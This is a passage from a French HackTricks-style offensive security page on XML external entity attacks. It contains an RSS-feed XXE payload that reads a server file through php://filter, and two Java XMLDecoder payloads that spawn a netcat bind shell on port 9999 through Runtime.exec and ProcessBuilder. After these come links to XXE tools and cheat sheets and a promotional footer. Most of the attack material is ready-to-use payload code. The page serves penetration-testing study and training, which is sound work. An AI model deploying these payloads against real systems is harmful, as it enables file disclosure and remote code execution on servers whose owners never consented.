<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
Java XMLDecoder XEE to RCE
XMLDecoder est une classe Java qui crée des objets basés sur un message XML. Si un utilisateur malveillant peut amener une application à utiliser des données arbitraires dans un appel à la méthode readObject, il obtiendra instantanément l'exécution de code sur le serveur.
Utilisation de Runtime().exec()
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>
ProcessBuilder
Le ProcessBuilder
est une classe Java qui est utilisée pour créer des processus fils.
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>
Outils
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
Plus de ressources
https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf
https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html
Extraire des informations via HTTP en utilisant son propre DTD externe : https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection
https://gist.github.com/staaldraad/01415b990939494879b4
https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9
https://portswigger.net/web-security/xxe
https://gosecure.github.io/xxe-workshop/#7
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres façons de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud github repos.